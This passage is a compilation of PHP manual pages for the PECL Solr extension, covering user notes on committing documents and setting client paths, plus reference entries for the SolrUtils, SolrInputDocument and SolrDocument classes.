As of solr 4.0 the waitFlush parameter is removed.

Source
http://wiki.apache.org/solr/UpdateXmlMessages

$client->commit() throws an error
[SolrClientException]
  Unsuccessful update request. Response Code 400. <?xml version="1.0" encoding="UTF-8"?>
  <response>

  <lst name="responseHeader">
    <int name="status">400</int>
    <int name="QTime">1</int>
  </lst>
  <lst name="error">
    <str name="msg">Unknown commit parameter 'waitFlush'</str>
    <int name="code">400</int>
  </lst>
  </response>
khe77o at gmail dot youknowwhat 16-Mar-2012 02:53
The documentation in the example section doesn't mention that you need to commit once you've added doc(s).

So in short it would be something like:
$client = new SolrClient(array('hostname' => '127.0.0.1', 'port' => 8080));
$doc = new SolrInputDocument();
$doc->addField('id', 12345);
$doc->addField('name', 'some person');

$result = $client->addDocument($doc);

/* you are not done yet, you need to commit */
$client->commit();

Now if you query you should see your doc =]
jschwehn+php at IGNOrMEgmail dot com 29-Oct-2010 03:05
If you are using Solr's multicore feature, you can access the cores via the path parameter in the $options array.
E.g.
<?php
  $options = array(...., 'path' => 'solr/core0', ...);
?>
jschwehn+php.a.t.gmail.com 19-Oct-2010 02:51
If you like to access a different RequestHander than '/select' you can change it via http://php.net/manual/en/solrclient.setservlet.php
bjorn at bjorn-erik dot biz 19-Sep-2010 09:47
If you're testing these examples on a fresh install of solr, you will need to run a commit statement after you add documents to receive results when searching.

For example, add this:
<?php $client->commit(); ?>

to example 3 to be able to get any results when doing a search using example 5.
trickito at yahoo 16-Nov-2009 06:08
if your path to solr is something other than: /solr

you should add this to the bootstrap file above:

define('SOLR_SERVER_PATH', 'my-solr-url');

and then a corresponding entry to the options array in your client php code like:

'path'     => SOLR_SERVER_PATH

I couldn't find this is in the documentation and had to peek at the source to figure it out.


The SolrUtils class

(PECL solr >= 0.9.2)

Introduction

Contains utility methods for retrieving the current extension version and preparing query phrases.

Also contains method for escaping query strings and parsing XML responses.

Class synopsis

abstract SolrUtils {
/* Methods */
public static SolrObject digestXmlResponse ( string $xmlresponse [, int $parse_mode = 0 ] )
public static string escapeQueryChars ( string $str )
public static string getSolrVersion ( void )
public static string queryPhrase ( string $str )
}

Table of Contents

  • SolrUtils::digestXmlResponse — Parses an response XML string into a SolrObject
  • SolrUtils::escapeQueryChars — Escapes a lucene query string
  • SolrUtils::getSolrVersion — Returns the current version of the Solr extension
  • SolrUtils::queryPhrase — Prepares a phrase from an unescaped lucene string

User Contributed Notes

There are no user contributed notes for this page.


Parses an response XML string into a SolrObject

  • « SolrUtils
  • SolrUtils::escapeQueryChars »
  • PHP Manual
  • SolrUtils
  • Parses an response XML string into a SolrObject

SolrUtils::digestXmlResponse

(PECL solr >= 0.9.2)

SolrUtils::digestXmlResponse — Parses an response XML string into a SolrObject

Description

public static SolrObject SolrUtils::digestXmlResponse ( string $xmlresponse [, int $parse_mode = 0 ] )

This method parses an response XML string from the Apache Solr server into a SolrObject. It throws a SolrException if there was an error.

Parameters

xmlresponse

The XML response string from the Solr server.

parse_mode

Use SolrResponse::PARSE_SOLR_OBJ or SolrResponse::PARSE_SOLR_DOC

Return Values

Returns the SolrObject representing the XML response.

If the parse_mode parameter is set to SolrResponse::PARSE_SOLR_OBJ Solr documents will be parses as SolrObject instances.

If it is set to SolrResponse::PARSE_SOLR_DOC, they will be parsed as SolrDocument instances.

User Contributed Notes

There are no user contributed notes for this page.


Escapes a lucene query string

  • « SolrUtils::digestXmlResponse
  • SolrUtils::getSolrVersion »
  • PHP Manual
  • SolrUtils
  • Escapes a lucene query string

SolrUtils::escapeQueryChars

(PECL solr >= 0.9.2)

SolrUtils::escapeQueryChars — Escapes a lucene query string

Description

public static string SolrUtils::escapeQueryChars ( string $str )

Lucene supports escaping special characters that are part of the query syntax.

The current list special characters are:

+ - && || ! ( ) { } [ ] ^ " ~ * ? : \ /

These characters are part of the query syntax and must be escaped

Parameters

str

This is the query string to be escaped.

Return Values

Returns the escaped string or FALSE on failure.

User Contributed Notes

Ian 31-Jul-2013 05:51
A way of doing that with a regular expression:

<?php
// Lucene characters that need escaping with \ are + - && || ! ( ) { } [ ] ^ " ~ * ? : \
$luceneReservedCharacters = preg_quote('+-&|!(){}[]^"~*?:\\');
$query = preg_replace_callback(
    '/([' . $luceneReservedCharacters . '])/',
    function($matches) {
        return '\\' . $matches[0];
    },
    $query);
?>


Returns the current version of the Solr extension

  • « SolrUtils::escapeQueryChars
  • SolrUtils::queryPhrase »
  • PHP Manual
  • SolrUtils
  • Returns the current version of the Solr extension

SolrUtils::getSolrVersion

(PECL solr >= 0.9.2)

SolrUtils::getSolrVersion — Returns the current version of the Solr extension

Description

public static string SolrUtils::getSolrVersion ( void )

Returns the current Solr version.

Parameters

This function has no parameters.

Return Values

The current version of the Apache Solr extension.

User Contributed Notes

There are no user contributed notes for this page.


Prepares a phrase from an unescaped lucene string

  • « SolrUtils::getSolrVersion
  • SolrInputDocument »
  • PHP Manual
  • SolrUtils
  • Prepares a phrase from an unescaped lucene string

SolrUtils::queryPhrase

(PECL solr >= 0.9.2)

SolrUtils::queryPhrase — Prepares a phrase from an unescaped lucene string

Description

public static string SolrUtils::queryPhrase ( string $str )

Prepares a phrase from an unescaped lucene string.

Parameters

str

The lucene phrase.

Return Values

Returns the phrase contained in double quotes.

User Contributed Notes

daniel dot allen at commercialtrucktrader dot com 04-Feb-2014 01:04
Doing some tests it would appear that this function also sanitizes input(testing on version above 1.0). And the term "phrase" is not the same as a complete query like "FIELD:THE RIGHT HALF AFTER THE : IS THE PHRASE."

So if you want to search SOME_FIELD:some value with an escape character like +, then you would have to write the code out:

$query  = 'SOME_FIELD:' . SolrUtils::queryPhrase('some value with an escape character like +');

That would properly escape it like:

some value with an escape character like \+

FYI.


The SolrInputDocument class

(PECL solr >= 0.9.2)

Introduction

This class represents a Solr document that is about to be submitted to the Solr index.

Class synopsis

final SolrInputDocument {
/* Constants */
const integer SORT_DEFAULT = 1 ;
const integer SORT_ASC = 1 ;
const integer SORT_DESC = 2 ;
const integer SORT_FIELD_NAME = 1 ;
const integer SORT_FIELD_VALUE_COUNT = 2 ;
const integer SORT_FIELD_BOOST_VALUE = 4 ;
/* Methods */
public bool addField ( string $fieldName , string $fieldValue [, float $fieldBoostValue = 0.0 ] )
public bool clear ( void )
public void __clone ( void )
public __construct ( void )
public bool deleteField ( string $fieldName )
public void __destruct ( void )
public bool fieldExists ( string $fieldName )
public float getBoost ( void )
public SolrDocumentField getField ( string $fieldName )
public float getFieldBoost ( string $fieldName )
public int getFieldCount ( void )
public array getFieldNames ( void )
public bool merge ( SolrInputDocument $sourceDoc [, bool $overwrite = true ] )
public bool reset ( void )
public bool setBoost ( float $documentBoostValue )
public bool setFieldBoost ( string $fieldName , float $fieldBoostValue )
public bool sort ( int $sortOrderBy [, int $sortDirection = SolrInputDocument::SORT_ASC ] )
public array toArray ( void )
}

Predefined Constants

SolrInputDocument Class Constants

SolrInputDocument::SORT_DEFAULT

Sorts the fields in ascending order.

SolrInputDocument::SORT_ASC

Sorts the fields in ascending order.

SolrInputDocument::SORT_DESC

Sorts the fields in descending order.

SolrInputDocument::SORT_FIELD_NAME

Sorts the fields by name

SolrInputDocument::SORT_FIELD_VALUE_COUNT

Sorts the fields by number of values.

SolrInputDocument::SORT_FIELD_BOOST_VALUE

Sorts the fields by boost value.

Table of Contents

  • SolrInputDocument::addField — Adds a field to the document
  • SolrInputDocument::clear — Resets the input document
  • SolrInputDocument::__clone — Creates a copy of a SolrDocument
  • SolrInputDocument::__construct — Constructor
  • SolrInputDocument::deleteField — Removes a field from the document
  • SolrInputDocument::__destruct — Destructor
  • SolrInputDocument::fieldExists — Checks if a field exists
  • SolrInputDocument::getBoost — Retrieves the current boost value for the document
  • SolrInputDocument::getField — Retrieves a field by name
  • SolrInputDocument::getFieldBoost — Retrieves the boost value for a particular field
  • SolrInputDocument::getFieldCount — Returns the number of fields in the document
  • SolrInputDocument::getFieldNames — Returns an array containing all the fields in the document
  • SolrInputDocument::merge — Merges one input document into another
  • SolrInputDocument::reset — This is an alias of SolrInputDocument::clear
  • SolrInputDocument::setBoost — Sets the boost value for this document
  • SolrInputDocument::setFieldBoost — Sets the index-time boost value for a field
  • SolrInputDocument::sort — Sorts the fields within the document
  • SolrInputDocument::toArray — Returns an array representation of the input document

User Contributed Notes

There are no user contributed notes for this page.


Adds a field to the document

  • « SolrInputDocument
  • SolrInputDocument::clear »
  • PHP Manual
  • SolrInputDocument
  • Adds a field to the document

SolrInputDocument::addField

(PECL solr >= 0.9.2)

SolrInputDocument::addField — Adds a field to the document

Description

public bool SolrInputDocument::addField ( string $fieldName , string $fieldValue [, float $fieldBoostValue = 0.0 ] )

For multi-value fields, if a valid boost value is specified, the specified value will be multiplied by the current boost value for this field.

Parameters

fieldName

The name of the field

fieldValue

The value for the field.

fieldBoostValue

The index time boost for the field. Though this cannot be negative, you can still pass values less than 1.0 but they must be greater than zero.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Resets the input document

  • « SolrInputDocument::addField
  • SolrInputDocument::__clone »
  • PHP Manual
  • SolrInputDocument
  • Resets the input document

SolrInputDocument::clear

(PECL solr >= 0.9.2)

SolrInputDocument::clear — Resets the input document

Description

public bool SolrInputDocument::clear ( void )

Resets the document by dropping all the fields and resets the document boost to zero.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Creates a copy of a SolrDocument

  • « SolrInputDocument::clear
  • SolrInputDocument::__construct »
  • PHP Manual
  • SolrInputDocument
  • Creates a copy of a SolrDocument

SolrInputDocument::__clone

(PECL solr >= 0.9.2)

SolrInputDocument::__clone — Creates a copy of a SolrDocument

Description

public void SolrInputDocument::__clone ( void )

Should not be called directly. It is used to create a deep copy of a SolrInputDocument.

Parameters

This function has no parameters.

Return Values

Creates a new SolrInputDocument instance.

User Contributed Notes

There are no user contributed notes for this page.


Constructor

  • « SolrInputDocument::__clone
  • SolrInputDocument::deleteField »
  • PHP Manual
  • SolrInputDocument
  • Constructor

SolrInputDocument::__construct

(PECL solr >= 0.9.2)

SolrInputDocument::__construct — Constructor

Description

public SolrInputDocument::__construct ( void )

Constructor.

Parameters

This function has no parameters.

Return Values

None.

User Contributed Notes

There are no user contributed notes for this page.


Removes a field from the document

  • « SolrInputDocument::__construct
  • SolrInputDocument::__destruct »
  • PHP Manual
  • SolrInputDocument
  • Removes a field from the document

SolrInputDocument::deleteField

(PECL solr >= 0.9.2)

SolrInputDocument::deleteField — Removes a field from the document

Description

public bool SolrInputDocument::deleteField ( string $fieldName )

Removes a field from the document.

Parameters

fieldName

The name of the field.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Destructor

  • « SolrInputDocument::deleteField
  • SolrInputDocument::fieldExists »
  • PHP Manual
  • SolrInputDocument
  • Destructor

SolrInputDocument::__destruct

(PECL solr >= 0.9.2)

SolrInputDocument::__destruct — Destructor

Description

public void SolrInputDocument::__destruct ( void )

Destructor

Parameters

This function has no parameters.

Return Values

None.

User Contributed Notes

There are no user contributed notes for this page.


Checks if a field exists

  • « SolrInputDocument::__destruct
  • SolrInputDocument::getBoost »
  • PHP Manual
  • SolrInputDocument
  • Checks if a field exists

SolrInputDocument::fieldExists

(PECL solr >= 0.9.2)

SolrInputDocument::fieldExists — Checks if a field exists

Description

public bool SolrInputDocument::fieldExists ( string $fieldName )

Checks if a field exists

Parameters

fieldName

Name of the field.

Return Values

Returns TRUE if the field was found and FALSE if it was not found.

User Contributed Notes

There are no user contributed notes for this page.


Retrieves the current boost value for the document

  • « SolrInputDocument::fieldExists
  • SolrInputDocument::getField »
  • PHP Manual
  • SolrInputDocument
  • Retrieves the current boost value for the document

SolrInputDocument::getBoost

(PECL solr >= 0.9.2)

SolrInputDocument::getBoost — Retrieves the current boost value for the document

Description

public float SolrInputDocument::getBoost ( void )

Retrieves the current boost value for the document.

Parameters

This function has no parameters.

Return Values

Returns the boost value on success and FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Retrieves a field by name

  • « SolrInputDocument::getBoost
  • SolrInputDocument::getFieldBoost »
  • PHP Manual
  • SolrInputDocument
  • Retrieves a field by name

SolrInputDocument::getField

(PECL solr >= 0.9.2)

SolrInputDocument::getField — Retrieves a field by name

Description

public SolrDocumentField SolrInputDocument::getField ( string $fieldName )

Retrieves a field in the document.

Parameters

fieldName

The name of the field.

Return Values

Returns a SolrDocumentField object on success and FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Retrieves the boost value for a particular field

  • « SolrInputDocument::getField
  • SolrInputDocument::getFieldCount »
  • PHP Manual
  • SolrInputDocument
  • Retrieves the boost value for a particular field

SolrInputDocument::getFieldBoost

(PECL solr >= 0.9.2)

SolrInputDocument::getFieldBoost — Retrieves the boost value for a particular field

Description

public float SolrInputDocument::getFieldBoost ( string $fieldName )

Retrieves the boost value for a particular field.

Parameters

fieldName

The name of the field.

Return Values

Returns the boost value for the field or FALSE if there was an error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of fields in the document

  • « SolrInputDocument::getFieldBoost
  • SolrInputDocument::getFieldNames »
  • PHP Manual
  • SolrInputDocument
  • Returns the number of fields in the document

SolrInputDocument::getFieldCount

(PECL solr >= 0.9.2)

SolrInputDocument::getFieldCount — Returns the number of fields in the document

Description

public int SolrInputDocument::getFieldCount ( void )

Returns the number of fields in the document.

Parameters

This function has no parameters.

Return Values

Returns an integer on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Returns an array containing all the fields in the document

  • « SolrInputDocument::getFieldCount
  • SolrInputDocument::merge »
  • PHP Manual
  • SolrInputDocument
  • Returns an array containing all the fields in the document

SolrInputDocument::getFieldNames

(PECL solr >= 0.9.2)

SolrInputDocument::getFieldNames — Returns an array containing all the fields in the document

Description

public array SolrInputDocument::getFieldNames ( void )

Returns an array containing all the fields in the document.

Parameters

This function has no parameters.

Return Values

Returns an array on success and FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Merges one input document into another

  • « SolrInputDocument::getFieldNames
  • SolrInputDocument::reset »
  • PHP Manual
  • SolrInputDocument
  • Merges one input document into another

SolrInputDocument::merge

(PECL solr >= 0.9.2)

SolrInputDocument::merge — Merges one input document into another

Description

public bool SolrInputDocument::merge ( SolrInputDocument $sourceDoc [, bool $overwrite = true ] )

Merges one input document into another.

Parameters

sourceDoc

The source document.

overwrite

If this is TRUE it will replace matching fields in the destination document.

Return Values

Returns TRUE on success or FALSE on failure. In the future, this will be modified to return the number of fields in the new document.

User Contributed Notes

There are no user contributed notes for this page.


This is an alias of SolrInputDocument::clear

  • « SolrInputDocument::merge
  • SolrInputDocument::setBoost »
  • PHP Manual
  • SolrInputDocument
  • This is an alias of SolrInputDocument::clear

SolrInputDocument::reset

(PECL solr >= 0.9.2)

SolrInputDocument::reset — This is an alias of SolrInputDocument::clear

Description

public bool SolrInputDocument::reset ( void )

This is an alias of SolrInputDocument::clear

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Sets the boost value for this document

  • « SolrInputDocument::reset
  • SolrInputDocument::setFieldBoost »
  • PHP Manual
  • SolrInputDocument
  • Sets the boost value for this document

SolrInputDocument::setBoost

(PECL solr >= 0.9.2)

SolrInputDocument::setBoost — Sets the boost value for this document

Description

public bool SolrInputDocument::setBoost ( float $documentBoostValue )

Sets the boost value for this document.

Parameters

documentBoostValue

The index-time boost value for this document.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Sets the index-time boost value for a field

  • « SolrInputDocument::setBoost
  • SolrInputDocument::sort »
  • PHP Manual
  • SolrInputDocument
  • Sets the index-time boost value for a field

SolrInputDocument::setFieldBoost

(PECL solr >= 0.9.2)

SolrInputDocument::setFieldBoost — Sets the index-time boost value for a field

Description

public bool SolrInputDocument::setFieldBoost ( string $fieldName , float $fieldBoostValue )

Sets the index-time boost value for a field. This replaces the current boost value for this field.

Parameters

fieldName

The name of the field.

fieldBoostValue

The index time boost value.

User Contributed Notes

There are no user contributed notes for this page.


Sorts the fields within the document

  • « SolrInputDocument::setFieldBoost
  • SolrInputDocument::toArray »
  • PHP Manual
  • SolrInputDocument
  • Sorts the fields within the document

SolrInputDocument::sort

(PECL solr >= 0.9.2)

SolrInputDocument::sort — Sorts the fields within the document

Description

public bool SolrInputDocument::sort ( int $sortOrderBy [, int $sortDirection = SolrInputDocument::SORT_ASC ] )

The fields are rearranged according to the specified criteria and sort direction

   Fields can be sorted by boost values, field names and number of values.

   The $order_by parameter must be one of :

   * SolrInputDocument::SORT_FIELD_NAME
   * SolrInputDocument::SORT_FIELD_BOOST_VALUE
   * SolrInputDocument::SORT_FIELD_VALUE_COUNT

   The sort direction can be one of :

   * SolrInputDocument::SORT_DEFAULT
   * SolrInputDocument::SORT_ASC
   * SolrInputDocument::SORT_DESC

Parameters

sortOrderBy

The sort criteria

sortDirection

The sort direction

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Returns an array representation of the input document

  • « SolrInputDocument::sort
  • SolrDocument »
  • PHP Manual
  • SolrInputDocument
  • Returns an array representation of the input document

SolrInputDocument::toArray

(PECL solr >= 0.9.2)

SolrInputDocument::toArray — Returns an array representation of the input document

Description

public array SolrInputDocument::toArray ( void )

Returns an array representation of the input document.

Parameters

This function has no parameters.

Return Values

Returns an array containing the fields. It returns FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


The SolrDocument class

(PECL solr >= 0.9.2)

Introduction

Represents a Solr document retrieved from a query response.

Class synopsis

final SolrDocument implements ArrayAccess , Iterator , Serializable {
/* Constants */
const integer SORT_DEFAULT = 1 ;
const integer SORT_ASC = 1 ;
const integer SORT_DESC = 2 ;
const integer SORT_FIELD_NAME = 1 ;
const integer SORT_FIELD_VALUE_COUNT = 2 ;
const integer SORT_FIELD_BOOST_VALUE = 4 ;
/* Methods */
public bool addField ( string $fieldName , string $fieldValue )
public bool clear ( void )
public void __clone ( void )
public __construct ( void )
public SolrDocumentField current ( void )
public bool deleteField ( string $fieldName )
public void __destruct ( void )
public bool fieldExists ( string $fieldName )
public SolrDocumentField __get ( string $fieldName )
public SolrDocumentField getField ( string $fieldName )
public int getFieldCount ( void )
public array getFieldNames ( void )
public SolrInputDocument getInputDocument ( void )
public bool __isset ( string $fieldName )
public string key ( void )
public bool merge ( SolrDocument $sourceDoc [, bool $overwrite = true ] )
public void next ( void )
public bool offsetExists ( string $fieldName )
public SolrDocumentField offsetGet ( string $fieldName )
public void offsetSet ( string $fieldName , string $fieldValue )
public void offsetUnset ( string $fieldName )
public bool reset ( void )
public void rewind ( void )
public string serialize ( void )
public bool __set ( string $fieldName , string $fieldValue )
public bool sort ( int $sortOrderBy [, int $sortDirection = SolrDocument::SORT_ASC ] )
public array toArray ( void )
public void unserialize ( string $serialized )
public bool __unset ( string $fieldName )
public bool valid ( void )
}

Predefined Constants

SolrDocument::SORT_DEFAULT

Default mode for sorting fields within the document.

SolrDocument::SORT_ASC

Sorts the fields in ascending order

SolrDocument::SORT_DESC

Sorts the fields in descending order

SolrDocument::SORT_FIELD_NAME

Sorts the fields by field name.

SolrDocument::SORT_FIELD_VALUE_COUNT

Sorts the fields by number of values in each field.

SolrDocument::SORT_FIELD_BOOST_VALUE

Sorts the fields by thier boost values.

Table of Contents

  • SolrDocument::addField — Adds a field to the document
  • SolrDocument::clear — Drops all the fields in the document
  • SolrDocument::__clone — Creates a copy of a SolrDocument object
  • SolrDocument::__construct — Constructor
  • SolrDocument::current — Retrieves the current field
  • SolrDocument::deleteField — Removes a field from the document
  • SolrDocument::__destruct — Destructor
  • SolrDocument::fieldExists — Checks if a field exists in the document
  • SolrDocument::__get — Access the field as a property
  • SolrDocument::getField — Retrieves a field by name
  • SolrDocument::getFieldCount — Returns the number of fields in this document
  • SolrDocument::getFieldNames — Returns an array of fields names in the document
  • SolrDocument::getInputDocument — Returns a SolrInputDocument equivalent of the object
  • SolrDocument::__isset — Checks if a field exists
  • SolrDocument::key — Retrieves the current key
  • SolrDocument::merge — Merges source to the current SolrDocument
  • SolrDocument::next — Moves the internal pointer to the next field
  • SolrDocument::offsetExists — Checks if a particular field exists
  • SolrDocument::offsetGet — Retrieves a field
  • SolrDocument::offsetSet — Adds a field to the document
  • SolrDocument::offsetUnset — Removes a field
  • SolrDocument::reset — This is an alias to SolrDocument::clear()
  • SolrDocument::rewind — Resets the internal pointer to the beginning
  • SolrDocument::serialize — Used for custom serialization
  • SolrDocument::__set — Adds another field to the document
  • SolrDocument::sort — Sorts the fields in the document
  • SolrDocument::toArray — Returns an array representation of the document
  • SolrDocument::unserialize — Custom serialization of SolrDocument objects
  • SolrDocument::__unset — Removes a field from the document
  • SolrDocument::valid — Checks if the current position internally is still valid

User Contributed Notes

There are no user contributed notes for this page.


Adds a field to the document

  • « SolrDocument
  • SolrDocument::clear »
  • PHP Manual
  • SolrDocument
  • Adds a field to the document

SolrDocument::addField

(PECL solr >= 0.9.2)

SolrDocument::addField — Adds a field to the document

Description

public bool SolrDocument::addField ( string $fieldName , string $fieldValue )

This method adds a field to the SolrDocument instance.

Parameters

fieldName

The name of the field

fieldValue

The value of the field.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Drops all the fields in the document

  • « SolrDocument::addField
  • SolrDocument::__clone »
  • PHP Manual
  • SolrDocument
  • Drops all the fields in the document

SolrDocument::clear

(PECL solr >= 0.9.2)

SolrDocument::clear — Drops all the fields in the document

Description

public bool SolrDocument::clear ( void )

Resets the current object. Discards all the fields and resets the document boost to zero.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Creates a copy of a SolrDocument object

  • « SolrDocument::clear
  • SolrDocument::__construct »
  • PHP Manual
  • SolrDocument
  • Creates a copy of a SolrDocument object

SolrDocument::__clone

(PECL solr >= 0.9.2)

SolrDocument::__clone — Creates a copy of a SolrDocument object

Description

public void SolrDocument::__clone ( void )

Creates a copy of a SolrDocument object. Not to be called directly.

Parameters

This function has no parameters.

Return Values

None.

User Contributed Notes

There are no user contributed notes for this page.


Constructor

  • « SolrDocument::__clone
  • SolrDocument::current »
  • PHP Manual
  • SolrDocument
  • Constructor

SolrDocument::__construct

(PECL solr >= 0.9.2)

SolrDocument::__construct — Constructor

Description

public SolrDocument::__construct ( void )

Constructor for SolrDocument

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Retrieves the current field

  • « SolrDocument::__construct
  • SolrDocument::deleteField »
  • PHP Manual
  • SolrDocument
  • Retrieves the current field

SolrDocument::current

(PECL solr >= 0.9.2)

SolrDocument::current — Retrieves the current field

Description

public SolrDocumentField SolrDocument::current ( void )

Retrieves the current field

Parameters

This function has no parameters.

Return Values

Returns the field

User Contributed Notes

There are no user contributed notes for this page.


Removes a field from the document

  • « SolrDocument::current
  • SolrDocument::__destruct »
  • PHP Manual
  • SolrDocument
  • Removes a field from the document

SolrDocument::deleteField

(PECL solr >= 0.9.2)

SolrDocument::deleteField — Removes a field from the document

Description

public bool SolrDocument::deleteField ( string $fieldName )

Removes a field from the document.

Parameters

fieldName

Name of the field

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Destructor

  • « SolrDocument::deleteField
  • SolrDocument::fieldExists »
  • PHP Manual
  • SolrDocument
  • Destructor

SolrDocument::__destruct

(PECL solr >= 0.9.2)

SolrDocument::__destruct — Destructor

Description

public void SolrDocument::__destruct ( void )

Destructor for SolrDocument.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Checks if a field exists in the document

  • « SolrDocument::__destruct
  • SolrDocument::__get »
  • PHP Manual
  • SolrDocument
  • Checks if a field exists in the document

SolrDocument::fieldExists

(PECL solr >= 0.9.2)

SolrDocument::fieldExists — Checks if a field exists in the document

Description

public bool SolrDocument::fieldExists ( string $fieldName )

Checks if the requested field as a valid fieldname in the document.

Parameters

fieldName

The name of the field.

Return Values

Returns TRUE if the field is present and FALSE if it does not.

User Contributed Notes

There are no user contributed notes for this page.


Access the field as a property

  • « SolrDocument::fieldExists
  • SolrDocument::getField »
  • PHP Manual
  • SolrDocument
  • Access the field as a property

SolrDocument::__get

(PECL solr >= 0.9.2)

SolrDocument::__get — Access the field as a property

Description

public SolrDocumentField SolrDocument::__get ( string $fieldName )

Magic method for accessing the field as a property.

Parameters

fieldName

The name of the field.

Return Values

Returns a SolrDocumentField instance.

User Contributed Notes

There are no user contributed notes for this page.


Retrieves a field by name

  • « SolrDocument::__get
  • SolrDocument::getFieldCount »
  • PHP Manual
  • SolrDocument
  • Retrieves a field by name

SolrDocument::getField

(PECL solr >= 0.9.2)

SolrDocument::getField — Retrieves a field by name

Description

public SolrDocumentField SolrDocument::getField ( string $fieldName )

Retrieves a field by name.

Parameters

fieldName

Name of the field.

Return Values

Returns a SolrDocumentField on success and FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of fields in this document

  • « SolrDocument::getField
  • SolrDocument::getFieldNames »
  • PHP Manual
  • SolrDocument
  • Returns the number of fields in this document

SolrDocument::getFieldCount

(PECL solr >= 0.9.2)

SolrDocument::getFieldCount — Returns the number of fields in this document

Description

public int SolrDocument::getFieldCount ( void )

Returns the number of fields in this document. Multi-value fields are only counted once.

Parameters

This function has no parameters.

Return Values

Returns an integer on success and FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Returns an array of fields names in the document

  • « SolrDocument::getFieldCount
  • SolrDocument::getInputDocument »
  • PHP Manual
  • SolrDocument
  • Returns an array of fields names in the document

SolrDocument::getFieldNames

(PECL solr >= 0.9.2)

SolrDocument::getFieldNames — Returns an array of fields names in the document

Description

public array SolrDocument::getFieldNames ( void )

Returns an array of fields names in the document.

Parameters

This function has no parameters.

Return Values

Returns an array containing the names of the fields in this document.

User Contributed Notes

There are no user contributed notes for this page.


Returns a SolrInputDocument equivalent of the object

  • « SolrDocument::getFieldNames
  • SolrDocument::__isset »
  • PHP Manual
  • SolrDocument
  • Returns a SolrInputDocument equivalent of the object

SolrDocument::getInputDocument

(PECL solr >= 0.9.2)

SolrDocument::getInputDocument — Returns a SolrInputDocument equivalent of the object

Description

public SolrInputDocument SolrDocument::getInputDocument ( void )

Returns a SolrInputDocument equivalent of the object. This is useful if one wishes to resubmit/update a document retrieved from a query.

Parameters

This function has no parameters.

Return Values

Returns a SolrInputDocument on success and NULL on failure.

User Contributed Notes

There are no user contributed notes for this page.


Checks if a field exists

  • « SolrDocument::getInputDocument
  • SolrDocument::key »
  • PHP Manual
  • SolrDocument
  • Checks if a field exists

SolrDocument::__isset

(PECL solr >= 0.9.2)

SolrDocument::__isset — Checks if a field exists

Description

public bool SolrDocument::__isset ( string $fieldName )

Checks if a field exists

Parameters

fieldName

Name of the field.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Retrieves the current key

  • « SolrDocument::__isset
  • SolrDocument::merge »
  • PHP Manual
  • SolrDocument
  • Retrieves the current key

SolrDocument::key

(PECL solr >= 0.9.2)

SolrDocument::key — Retrieves the current key

Description

public string SolrDocument::key ( void )

Retrieves the current key.

Parameters

This function has no parameters.

Return Values

Returns the current key.

User Contributed Notes

There are no user contributed notes for this page.


Merges source to the current SolrDocument

  • « SolrDocument::key
  • SolrDocument::next »
  • PHP Manual
  • SolrDocument
  • Merges source to the current SolrDocument

SolrDocument::merge

(PECL solr >= 0.9.2)

SolrDocument::merge — Merges source to the current SolrDocument

Description

public bool SolrDocument::merge ( SolrDocument $sourceDoc [, bool $overwrite = true ] )

Merges source to the current SolrDocument.

Parameters

sourceDoc

The source document.

overwrite

If this is TRUE then fields with the same name in the destination document will be overwritten.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Moves the internal pointer to the next field

  • « SolrDocument::merge
  • SolrDocument::offsetExists »
  • PHP Manual
  • SolrDocument
  • Moves the internal pointer to the next field

SolrDocument::next

(PECL solr >= 0.9.2)

SolrDocument::next — Moves the internal pointer to the next field

Description

public void SolrDocument::next ( void )

Moves the internal pointer to the next field.

Parameters

This function has no parameters.

Return Values

This method has no return value.

User Contributed Notes

There are no user contributed notes for this page.


Checks if a particular field exists

  • « SolrDocument::next
  • SolrDocument::offsetGet »
  • PHP Manual
  • SolrDocument
  • Checks if a particular field exists

SolrDocument::offsetExists

(PECL solr >= 0.9.2)

SolrDocument::offsetExists — Checks if a particular field exists

Description

public bool SolrDocument::offsetExists ( string $fieldName )

Checks if a particular field exists. This is used when the object is treated as an array.

Parameters

fieldName

The name of the field.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Retrieves a field

  • « SolrDocument::offsetExists
  • SolrDocument::offsetSet »
  • PHP Manual
  • SolrDocument
  • Retrieves a field

SolrDocument::offsetGet

(PECL solr >= 0.9.2)

SolrDocument::offsetGet — Retrieves a field

Description

public SolrDocumentField SolrDocument::offsetGet ( string $fieldName )

This is used to retrieve the field when the object is treated as an array.

Parameters

fieldName

The name of the field.

Return Values

Returns a SolrDocumentField object.

User Contributed Notes

There are no user contributed notes for this page.


Adds a field to the document

  • « SolrDocument::offsetGet
  • SolrDocument::offsetUnset »
  • PHP Manual
  • SolrDocument
  • Adds a field to the document

SolrDocument::offsetSet

(PECL solr >= 0.9.2)

SolrDocument::offsetSet — Adds a field to the document

Description

public void SolrDocument::offsetSet ( string $fieldName , string $fieldValue )

Used when the object is treated as an array to add a field to the document.

Parameters

fieldName

The name of the field.

